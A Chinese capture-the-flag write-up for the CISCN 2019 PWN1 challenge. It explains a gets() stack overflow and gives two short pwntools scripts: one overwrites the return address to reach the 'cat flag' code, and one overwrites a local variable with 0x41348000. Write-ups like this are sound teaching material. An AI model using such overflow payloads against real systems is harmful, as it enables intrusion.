0%

[CISCN 2019华北]PWN1 JAY687的WriteUp

2024-01-15 20:00By
JAY687
栈溢出栈迁移整数溢出PWN

Problem: [CISCN 2019华北]PWN1

[[toc]]

思路

进入ida分析
NSSIMAGE
进入func函数一探究竟
NSSIMAGE
这边分析了一下程序,想要得到flag的话就要使v2=11.28125,只要使v2=11.28125那么程序就能cat flag。
接下来很简单了,既然你有cat flag这行代码。那我也没必要按照你程序走,我只要通过你的gets函数溢出然后覆盖返回地址为cat flag这条语句就行了。
查看v1距离rbp的位置
NSSIMAGE
是0x30.
接下来编写exp就行了。
这是第一种办法比较简单暴力。
第二种办法是跟着程序的想法走,那么我们要使v2=11.28125那么我们要先找到v2的位置。
据我们所知v2位置为rbp-0x4,那么我们要覆盖v2的话就需要从v1距离rbp的位置减去v2距离rbp的位置就是我们实际要覆盖的地址了。也就是0x2c。
但是我们该往要覆盖的地址里填什么呢?总不能直接填11.28125吧?这里就要转换成十六进制才行。
十六进制的话那么我们进ida的汇编里看看在ida的汇编里11.28125是什么?
NSSIMAGE
NSSIMAGE
是0x41348000
看来ida里就有已经转换好的十六进制的11.28125了。
那接下来就可以编写exp了。

EXP

第一种:
from pwn import *

p = remote('node4.anna.nssctf.cn', 28456)

payload = b'a' * 0x30 + b'a' * 8 + p64(0x4006BE)

p.sendline(payload)
p.interactive()
第二种
from pwn import *

p = remote('node4.anna.nssctf.cn', 28456)

payload = b'a' * (0x30 - 0x4) + p64(0x41348000)

p.sendline(payload)
p.interactive()

总结

  • 对该题的考点总结
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论